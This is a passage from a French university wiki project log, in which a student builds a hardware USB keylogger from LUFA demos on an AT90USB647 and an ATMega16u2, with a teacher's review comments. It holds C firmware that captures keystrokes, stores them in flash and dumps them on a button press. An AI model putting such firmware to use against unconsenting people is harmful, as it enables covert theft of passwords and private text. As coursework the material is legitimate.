    /* AT45DB641E communication  */&lt;br /&gt;
    /* Recup of the data of the actual page to re-write on */&lt;br /&gt;
    unsigned char data[FLASH_PAGE_SIZE];&lt;br /&gt;
    AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
    &lt;br /&gt;
    /* Writing the Modifier and Keycode in the array */&lt;br /&gt;
    data[(*page_buffer_size)++] = KeyCode;&lt;br /&gt;
    &lt;br /&gt;
    /* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
    AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
    &lt;br /&gt;
    /* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
    AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
    &lt;br /&gt;
    /* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
    while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
    	LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
    }&lt;br /&gt;
    LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
    &lt;br /&gt;
    /* Serial communication */&lt;br /&gt;
	Serial_SendByte(KeyCode);&lt;br /&gt;
	&lt;br /&gt;
	// ...&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans ma logique, j'utilise trois variables : ''page_start'' qui est la page où l'on commence l'écriture, ''page_actual'' qui indique la page courante et ''page_buffer_size'' qui indique la taille courante du buffer de donnée, afin de trouver l'index de la touche à mémoriser dans le buffer, et ensuite dans la flash.&lt;br /&gt;
&lt;br /&gt;
L'algorithme est simple, on vérifie tout d'abord si la taille du buffer précédent est égale à la taille d'une page de la flash. Si oui, on réinitialise le compte sur la taille et on incrémente la page courante. Ensuite on récupère les données de la page courante afin de réécrire par dessus. On met les données dans le buffer qu'on écris ensuite dans la flash à la page ''page_actual''. Puis on attend que l'écriture est effectué pour passer à la tâche suivante qui est l'envoie de la touche tapé. (Edit: Dans le programme final, on envoie d'abord les touches puis on enregistre, mais je ne pense pas que ça change beaucoup au niveau de la performance)&lt;br /&gt;
&lt;br /&gt;
Du côté de l'Atmega c'est simple, il n'y a que la réception qui s'effectue et l'écriture dans le rapport.&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Comme je l'avais signalé dans la vidéo précédente, les données à propos des modifieurs (Shift, Control, etc) ne sont pas reçus. J'ai donc essayé d'inclure l'octet Modifier du rapport clavier, mais sans succès. J'ai essayé de trouver des solutions afin de synchroniser par exemple l'envoie et la réception, l'utilisation de la fonction ''Serial_SendData'' pour envoyé les deux octets (Modifieur et Code_Touche) en une fois, mais puisque la liaison USART est asynchrone, je crois bien que le problème est là. Je vais donc essayé de faire des fonctions de réceptions de paquet lorsque l'Atmega détecte la réception d'un octet.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;s&amp;gt;De plus, j'ai essayé d'utiliser les boutons de l'Atmega pour envoyer des octets de données à l'AT90 via liaison série, mais j'ai l'impression que celui-ci ne les reçois pas, ou du moins il ne récupère pas les bons octets (ca m'affiche toujours 0xFF).&amp;lt;/s&amp;gt; Edit: J'avais juste oublié d'appeler la fonction dans la boucle du main.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ci-dessous, on retrouve la fonction executée sur l'AT90 pour gérer la commande de la flash de la part de l'ATMEGA16U2 vers l'AT90USB647. &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(int *page_start, int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t Command_Byte = Serial_ReceiveByte();&lt;br /&gt;
		uint8_t Ending_Byte;&lt;br /&gt;
		do {&lt;br /&gt;
			Ending_Byte = Serial_ReceiveByte();&lt;br /&gt;
		} while((Ending_Byte != 0xFF) || (Ending_Byte == Command_Byte));&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_RESET)&lt;br /&gt;
		{&lt;br /&gt;
			*page_actual 			= *page_start;&lt;br /&gt;
			*page_buffer_size = 0;&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_GET)&lt;br /&gt;
		{&lt;br /&gt;
			uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
&lt;br /&gt;
			int address, j;&lt;br /&gt;
			for (address = (*page_start); address &amp;lt;= (*page_actual); address++)&lt;br /&gt;
			{&lt;br /&gt;
				AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
				for (j = 0; j &amp;lt; ((address == (*page_actual)) ? (*page_buffer_size) : FLASH_PAGE_SIZE); j += 2)&lt;br /&gt;
				{&lt;br /&gt;
					/* Communicating data by serial connection */&lt;br /&gt;
					while (!Serial_IsSendReady());&lt;br /&gt;
					Serial_SendByte(data[j]);&lt;br /&gt;
					Serial_SendByte(data[j+1]);&lt;br /&gt;
					while (!Serial_IsSendComplete());&lt;br /&gt;
					_delay_ms(50);&lt;br /&gt;
				}&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''&amp;lt;u&amp;gt;Explications :&amp;lt;/u&amp;gt;''' &lt;br /&gt;
&lt;br /&gt;
* Tout d'abord, on vérifie si il y'a un message sur la liaison série de l'ATMEGA vers l'AT90.&lt;br /&gt;
* Si oui, on lit l'octet de commande et on attends que la voie série soit vide.&lt;br /&gt;
* Ensuite on effectue une tâche selon le code:&lt;br /&gt;
** '''''SERIAL_FLASH_RESET''''' qui est 0x22 dans le programme final (valeur prise sans raison particulière) remet à zéro la mémoire de la flash afin d'enregistrer une nouvelle saisie.&lt;br /&gt;
** '''''SERIAL_FLASH_GET''''' qui est 0x23 dans le programme final (juste que j'aime bien le nombre 23) permet de récupérer les touches tapées et de les envoyer.&lt;br /&gt;
*** On parcourt toutes les pages qui ont pu être enregistrées.&lt;br /&gt;
*** On récupère les touches tapés sur la page.&lt;br /&gt;
*** On parcourt le tableau de deux en deux : On envoie la donnée à l'indice pair qui est le code de touche, et on envoie la donnée à l'indice impaire qui est le code modifieur (Shift, Control, etc...).&lt;br /&gt;
*** On laisse un court instant de délai afin de laisser le temps à l'ATMEGA de bien recevoir les octets de la touche enregistrée. (J'ai essayé avec des délais plus court, mais ça ne nous redonne pas correctement la liste enregistrée, des lettres sont passés si le délai est trop court)&lt;br /&gt;
&lt;br /&gt;
A la ligne 25 on peut observer un ternaire pour la condition de boucle. On regarde si l'adresse de page est égale à ''page_actual'' qui est en fait la dernière page enregistrée. Si oui, alors il faut interrompre l'indice j avant qu'elle ne dépasse la taille des données enregistrées sur la dernière page, sinon l'indice j parcourt ''FLASH_PAGE_SIZE'' fois le tableau de donnée récupéré.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Concernant la fonction de gestion de la flash du côté de l'ATMEGA :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(void)&lt;br /&gt;
{&lt;br /&gt;
	uint8_t ButtonStatus_LCL = Buttons_GetStatus();&lt;br /&gt;
&lt;br /&gt;
	/* Reset flash button */&lt;br /&gt;
	if (ButtonStatus_LCL &amp;amp; BUTTONS_BUTTON1){&lt;br /&gt;
		_delay_ms(200);&lt;br /&gt;
		Serial_SendByte(SERIAL_FLASH_RESET);&lt;br /&gt;
		// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);&lt;br /&gt;
		while(!Serial_IsSendComplete());&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	/* Get all the flash */&lt;br /&gt;
	if (ButtonStatus_LCL &amp;amp; BUTTONS_BUTTON2){&lt;br /&gt;
		_delay_ms(200);&lt;br /&gt;
		Serial_SendByte(SERIAL_FLASH_GET);&lt;br /&gt;
		// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);&lt;br /&gt;
		while(!Serial_IsSendComplete());&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On lit quel bouton est appuyé et on le compare pour ensuite envoyé une commande via la liaison série. On peut observer un délai juste avant l'envoie de la commande qui est nécessaire pour être sur de l'envoyer qu'une seule fois. Sans ce délai, les commandes se serait envoyés plusieurs fois (c'est du vécu), car en effet, les fonctions s'éxecute rapidement et le temps entre l'appui du bouton et son relâchement, il y'a sûrement quelques centaine de millième de seconde (je ne sais pas exactement le temps ecoulé entre chaque appuie et relâchement de bouton) qui se sont écoulés, ce qui laisse le temps à la fonction Flash_Task d'être executée plus d'une fois.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin, les fonctions d'écriture du rapport de clavier ont un peu changé pour inclure le code du modifieur. Pour l'ATMEGA, on peut observer l'ajout d'une boucle qui attend que l'on lit sur la liaison série un octet différent de 0xFF ou du code touche lu précédement :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t ReceivedByte;&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
		do {&lt;br /&gt;
			ReceivedByte = Serial_ReceiveByte();&lt;br /&gt;
		} while((ReceivedByte == 0xFF) || (ReceivedByte == ReportData-&amp;gt;KeyCode[0]));&lt;br /&gt;
&lt;br /&gt;
		ReportData-&amp;gt;Modifier = ReceivedByte;&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et pour l'AT90 on observe l'ajout d'un appel de la fonction d'envoie d'octet :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
	//..&lt;br /&gt;
&lt;br /&gt;
		uint8_t KeyCode  = KeyboardReport.KeyCode[0];&lt;br /&gt;
		uint8_t Modifier = KeyboardReport.Modifier;&lt;br /&gt;
&lt;br /&gt;
		/* Check if a key has been pressed */&lt;br /&gt;
		if (KeyCode)&lt;br /&gt;
		{&lt;br /&gt;
			/* Toggle status LED to indicate keypress */&lt;br /&gt;
			LEDs_TurnOnLEDs(LEDS_LED2);&lt;br /&gt;
&lt;br /&gt;
			/* Serial communication */&lt;br /&gt;
			Serial_SendByte(KeyCode);&lt;br /&gt;
			Serial_SendByte(Modifier);&lt;br /&gt;
&lt;br /&gt;
			/* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
			if (*page_buffer_size == FLASH_PAGE_SIZE) {&lt;br /&gt;
				 *page_buffer_size = 0;&lt;br /&gt;
				(*page_actual)++;&lt;br /&gt;
			}&lt;br /&gt;
&lt;br /&gt;
			/* AT45DB641E communication */&lt;br /&gt;
			/* Recup of the data of the actual page to re-write on */&lt;br /&gt;
			uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
			AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
			/* Writing the Modifier and Keycode in the array */&lt;br /&gt;
			data[(*page_buffer_size)++] = KeyCode;&lt;br /&gt;
			data[(*page_buffer_size)++] = Modifier;&lt;br /&gt;
&lt;br /&gt;
			/* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
			AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
			/* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
			AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
&lt;br /&gt;
			/* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
			while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
				LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
			}&lt;br /&gt;
			LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
&lt;br /&gt;
			LEDs_TurnOffLEDs(LEDS_LED2);&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	// ...&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En effet, comme je l'avais dit lors de la présentation du précédent code, je n'arrivais pas encore à obtenir le code modifieur et donc récupérer deux octets. J'ai donc essayé de comprendre comment fonctionne la communication USART entre les deux microcontrôleurs. Et après quelques essaie de code, j'ai observé qu'à chaque envoie d'octet via la liaison série et de la fonction '''''Serial_SendByte''''', on reçoit d'abord un octet à 0xFF et ensuite l'octet de notre donnée, ce qui explique pourquoi on vérifie l'octet 0xFF dans les boucles while pour la lecture des octets transmis par la liaison série.&lt;br /&gt;
&lt;br /&gt;
On peut retrouver les codes d'expérimentation pour comprendre le fonctionnement de la communication série avec le lien [[:Fichier:Keylogger Serial Testing.zip|ci-joint]].&lt;br /&gt;
&lt;br /&gt;
On peut voir beaucoup de ligne commentée, mais parmis elles, on peut observer les différents tests que j'ai pu effectuer pour comprendre la communication USART.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut visionner la vidéo de démonstration du Keylogger via [[:Fichier:Keylogger demo video.mp4|ce lien]]&amp;lt;ref&amp;gt;Vidéo démo du Keylogger&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Dans la démo, on peut voir que des touches en trop sont tapées quand j'écris avec le clavier, même si je fais exprès d'écrire rapidement.&lt;br /&gt;
&lt;br /&gt;
Par ailleurs, concernant l'initialisation des microcontrôleurs afin d'utiliser les deux programmes, c'est assez étrange mais il faut reset en premier l'AT90USB647 et dès que celui-ci est paré à fonctionner, il faut reset l'ATMEGA16U2. Sinon j'ai l'impression que d'ancien programme se lance à la place des nouveaux ?&lt;br /&gt;
&lt;br /&gt;
= Documents Rendus =&lt;br /&gt;
[[:Fichier:Keyboard-Device-Atmega (Semaine 1).zip#file]]&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans la fonction &amp;lt;code&amp;gt;LEDs_ToggleLEDs&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans le &amp;lt;code&amp;gt;makefile&amp;lt;/code&amp;gt;, la fréquence de lu quartz externe est de 8Mhz. Mettre le code ci-dessous en début de fonction &amp;lt;code&amp;gt;main&amp;lt;/code&amp;gt; :&lt;br /&gt;
 CLKSEL0 = 0b00010101;   // sélection de l'horloge externe&amp;lt;ref name=&amp;quot;:0&amp;quot; group=&amp;quot;Code associé&amp;quot; /&amp;gt;&lt;br /&gt;
 CLKSEL1 = 0b00001111;   // minimum de 8Mhz&lt;br /&gt;
 CLKPR = 0b10000000;     // modification du diviseur d'horloge (CLKPCE=1)&lt;br /&gt;
 CLKPR = 0;              // 0 pour pas de diviseur (diviseur de 1)&lt;br /&gt;
Tests AT45DB641E : [[:Fichier:TestMem CMD WR.zip|Fichiers de test mémoire]]&lt;br /&gt;
&lt;br /&gt;
Tests AT90USB647 : [[:Fichier:KeyboardHost.zip|Fichiers KerboardHost]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Fichiers Keylogger : [[:Fichier:Keylogger.zip|Fichiers Keylogger]] | [[:Fichier:Keyboard to PC.zip|Fichiers Keylogger sans la mémoire]] | [[:Fichier:Keylogger Serial Testing.zip|Fichiers d'expérimentation pour la liaison série]]&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références vidéo :&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références image :&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references group=&amp;quot;Image&amp;quot; /&amp;gt;&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=768</id>
		<title>SE4 2022/2023 EC5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=768"/>
		<updated>2023-08-10T08:08:36Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : Correction et ajout de référence vers les vidéos&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Objectifs =&lt;br /&gt;
&lt;br /&gt;
Il vous est demandé de : &lt;br /&gt;
* réaliser un keylogger en partant d'un prototype réalisé par un élève des années précédentes, ce prototype comporte :&lt;br /&gt;
** un microcontrôleur AT90USB647 pour pouvoir utiliser un projet LUFA en mode hôte,&lt;br /&gt;
** un microcontrôleur ATMega16u2 pour pouvoir utiliser un projet LUFA en mode périphérique,&lt;br /&gt;
** une mémoire flash pour pouvoir sauver les touches capturées ;&lt;br /&gt;
* commencez par écrire un programme, basé sur la démonstration LUFA bas-niveau Keyboard pour vérifier que la partie ATMega16u2 de la carte fonctionne ;&lt;br /&gt;
* poursuivez en vérifiant que vous avez accès, à partir de l'AT90USB647 à la carte mémoire AT45DB641E, vous pouvez vous baser sur le code des PeiP ;&lt;br /&gt;
* vous pourrez alors tester la démonstration LUFA hôte bas-niveau KeyboardHost ;&lt;br /&gt;
* enfin terminez en récupérant les symboles lus par l'AT90USB647 sur le clavier USB pour les transmettre par UART à l'ATMega16u2 puis au PC ;&lt;br /&gt;
* il reste à stocker les symboles au passage dans la mémoire flash et à prévoir une interface particulière sur l'ATMega16u2 pour récupérer les informations.&lt;br /&gt;
&lt;br /&gt;
= Matériel nécessaire =&lt;br /&gt;
&lt;br /&gt;
Vous avez besoin du prototype de la carte keylogger et d'un Arduino configuré en programmateur AVR ISP.&lt;br /&gt;
&lt;br /&gt;
[[file:2023-keylogger-schema.png|thumb|400px|left|Schéma électronique]]&lt;br /&gt;
[[file:2023-keylogger-pcb.png|thumb|400px|right|Routage]]&lt;br /&gt;
&lt;br /&gt;
Le schéma électronique et le routage de cette carte sont donnés dans les figures ci-contre.&lt;br /&gt;
&lt;br /&gt;
Le [[file:2023-keylogger-fritzing.zip]] fichier Fritzing de la carte est disponible (à renommer en &amp;lt;code&amp;gt;.fzz&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Le dernier projet sur ce sujet est disponible sur l'ancien Wiki [https://wiki-ima.plil.fr/mediawiki//index.php/IMA4_2020/2021_EC2].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;clear: both;&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Travail réalisé =&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 1&amp;lt;/u&amp;gt; ===&lt;br /&gt;
En premier temps, je me suis intéressé au fonctionnement, aux outils et librairie nécessaire au fonctionnement de la librairie LUFA.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de comprendre comment créer un projet LUFA grâce aux démos, d'installer les programmes tel que dfu-programmer et avr-gcc.&lt;br /&gt;
&lt;br /&gt;
Cependant, n'ayant pas de PC natif linux, j'ai d'abord essayer avec Windows Sous Linux (qui est la solution que j'ai utilisé tout au long de l'année) mais je n'arrivais pas à apercevoir le périphérique USB de la carte Atmega16u2, j'ai donc essayé d'installer et utiliser une VM Linux et j'ai pu lier le périphérique DFU Bootloader de l'Atmega vers la VM afin de téléverser le programme de démo device : Keyboard.&lt;br /&gt;
[[Fichier:Capture d'écran Ouverture Fritzing.png|vignette]]&lt;br /&gt;
J'ai essayé d'ouvrir le fichier schématique de la carte électronique qui fonctionne très bien, mis à part trois fichier/modèle manquant dans l'archive comme les boutons et l'AT90. Ainsi, j'ai pu déterminer où été branché les leds à l'Atmega afin de configurer le programme de démo LUFA. &lt;br /&gt;
&lt;br /&gt;
J'ai réussi à téléverser un programme et à contrôler les leds de la carte électronique du côté de l'Atmega, mais je pense qu'il doit toujours y avoir des erreurs dans la configuration du programme. En effet, lorsque je développe la description du périphérique USB de l'Atmega, j'observe qu'il n'y a pas d'Endpoint présent dans la description.&lt;br /&gt;
&lt;br /&gt;
Enfin, je n'arrivais pas à récupérer une fonction de délai afin de faire clignoter les leds, donc j'ai essayé d'implémenter les boutons de la carte électronique qui fonctionne bel et bien, plus qu'à regarder la vidéo pour voir le code à l'action !&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Vidéo :&amp;lt;/u&amp;gt;  [[:Fichier:EC5-Semaine1.mp4]]&amp;lt;ref&amp;gt;Vidéo rapport semaine 1&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Impossible de voir quelle erreur tu as fait pour les LED : pas de code dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La vidéo n'existe plus merci de la télécharger dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La fonction de délai est &amp;lt;code&amp;gt;_delay_ms&amp;lt;/code&amp;gt;, le fichier d'inclusion nécessaire est &amp;lt;code&amp;gt;util/delay.h&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 2&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
L'erreur apparaît car la fonctionnalité USB côté Atmega16u2 n'est pas implémenter/implémentable.&lt;br /&gt;
&lt;br /&gt;
ReX : Cette phrase n'a pas de sens l'ATMega16u2 est bien doté d'une implantation USB matérielle. A la livraison du matériel j'ai aussi montré le bon fonctionnement du mode DFU/USB et la façon d'y faire entre le microcontrôleur.&lt;br /&gt;
&lt;br /&gt;
ReX : Au vu des erreurs dans le projet LUFA je crois comprendre ce que vous voulez dire c'est que vos erreurs dans le projets LUFA font que la fonctionnalité USB de ce projet est défaillante. Corrigez, testez à nouveau ...&lt;br /&gt;
[[Fichier:Image.png|vignette]]&lt;br /&gt;
Benjamin : Après avoir corriger le code pour le 16u2, j'ai essayé d'implémenter un code pour l'USB647, mais lorsque je regarde dans mes périphériques, mon ordinateur ne reconnaît pas ... J'ai essayé de voir dans les travaux déjà réalisé et ai trouvé qu'il y'avait une manière particulière de bootloader le micro contrôleur (à la même manière qu'avec le 16u2) &amp;lt;ref group=&amp;quot;Image&amp;quot;&amp;gt;[[:Fichier:Keyboard problem2.jpg]]&amp;lt;/ref&amp;gt;, mais le périphérique reste inconnu pour ma machine.&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai réussi à trouver le périphérique en téléchargeant le logiciel [https://www.microchip.com/en-us/development-tool/flip FLIP] et en suivant cette vidéo (&amp;lt;nowiki&amp;gt;https://youtu.be/Vd0F0XHzchY&amp;lt;/nowiki&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
ReX : Tu tentes de faire le projet sous windows ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, j'utilise une VM Linux pour faire le projet, mais je n'ai que des machines Windows chez moi et impossible de Dual Boot mon PC.&lt;br /&gt;
&lt;br /&gt;
ReX ; Dans ce cas tu peux affecter le périphèrique USB en mode DFU à la machine virtuelle et téléverser avec &amp;lt;code&amp;gt;dfu-programmer&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Une preuve du fonctionnement pour l'ATMega16u2 ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, il n'y a pas de preuve du fonctionnement de l'ATMega16u2 concernant la partie USB, néanmoins de part la consigne de la première étape qui m'a été donné ci-dessus, il est question de vérifier le fonctionnement du microcontrôleur et donc de savoir si il est aussi possible de téléverser un programme sur celui-ci. On peut donc voir par la vidéo fourni la semaine dernière que le microcontrôleur fonctionne correctement, sans pour autant avoir la partie USB fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
Cependant, en téléversant la démo fourni par LUFA, on voit que l'ATMega16u2 prend le contrôle de mon clavier [[:Fichier:Video-atmega16u2-usb.mp4|(voir vidéo)]]&amp;lt;ref&amp;gt;[[:Fichier:Video-atmega16u2-usb.mp4|Video-atmega16u2-usb]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu je te vois taper sur ton clavier ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai essayé de voir pour résoudre le problème concernant la connexion à l'USB647, mais je n'ai toujours pas de solution. J'essaie de voir pour emprunter une machine à un ami qui soit sous booté sous Linux afin de voir si le problème vient du système d'exploitation.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu, alors 1) faire SE sans machine Linux c'est quand même un problème 2) au pire démarre un Linux live sur une clef USB. Tu vas quand même pas t'arrêter sur ce genre de détail !&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 3&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Benjamin : J'ai booté un ancien PC avec une distribution Linux et j'arrive enfin à utiliser l'AT90USB647. J'ai alors configuré le code réalisé par les PeiP en renseignant les bonnes informations à propos de la Flash et des Leds. Cependant, en téléversant mon programme, les leds ne s'allume pas, j'ai essayé de regarder si la tension était bonne aux broches des Leds (Broches F5 et F6) et il semble que la tension délivré soit la basse impédance. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Fichier :&amp;lt;/u&amp;gt; [[:Fichier:MassStoragePeiP.zip|Code_AT90USB]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Question :&amp;lt;/u&amp;gt; Y'a t'il des choses à configurer correctement afin d'utiliser l'AT90USB ? Car dans l'état, je ne peux pas savoir si tout fonctionne sans témoin visuel. &lt;br /&gt;
&lt;br /&gt;
Update : Tout fonctionne concernant l'AT90USB647, seulement que les LEDS ont été soudés à l'envers. &lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 4&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Pendant cette semaine, j'ai essayé de mettre en place les deux démos de la librairie LUFA : MassStorage et KeyboardHost, énoncés dans les tâches à effectuer ci-dessus.&lt;br /&gt;
&lt;br /&gt;
ReX : J'ai beau chercher je vois pas où j'ai demandé de tester MassStorage sur l'AT90USB, dans mon esprit c'était les programmes de test de la mémoire qui peuvent se trouver sur le site des BE SE PeiP.&lt;br /&gt;
&lt;br /&gt;
Benjamin : Je pense que je suis parti sur MassStorage car en fouillant sur le [https://peip-ima.plil.fr/mediawiki/index.php/BE_2022-2023 wiki] j'avais trouvé ce [https://peip-ima.plil.fr/mediawiki/images/6/6b/MassStoragePeiP.zip fichier], alors que vous faisiez référence à ce [https://peip-ima.plil.fr/mediawiki/index.php/Binome2019-2 projet].&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;MassStorage :&amp;lt;/u&amp;gt;'' J'ai repris le code [[:Fichier:MassStoragePeiP.zip|MassStoragePeiP]] et ai adapté les broches de leds aux broches PD2 et PD3 qui pouvait être récupérer via des broches mâles afin de faire clignoter des leds sur une board externe, en attendant de résoudre le problème des leds souder à l'envers.&lt;br /&gt;
&lt;br /&gt;
ReX : Alors 1) ce code ne fait aucun test sur la mémoire, voir les tests TestMem, TestMemRW et TestMemRW2 comme indiqué par courriel 2) les LEDs ne marcheront pas correctement tant que l'AT90USB n'aura pas été lancé sur l'horloge interne et tant que le JTAG n'aura pas été désactivé, voir le programme Blink envoyé par courriel.&lt;br /&gt;
&lt;br /&gt;
Je pense que tout est bien configuré et tout fonctionne concernant la liaison entre l'AT90 et l'AT45 car les clignotements de leds entre chaque tâche d'appel est présent ce qui indiquerait un bon fonctionnement.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu non pratiquement rien n'est correctement configuré (voir remarque précédente), de plus je ne vois où tu es sensé avoir vérifié quelque chose via les LED, le fait que tu n'indiques pas les modifications apportées en ce sens n'aide pas. Par contre l'idée d'utiliser des LED externes sur plaque d'essai est une bonne idée en attendant de réparer la carte fournie.&lt;br /&gt;
&lt;br /&gt;
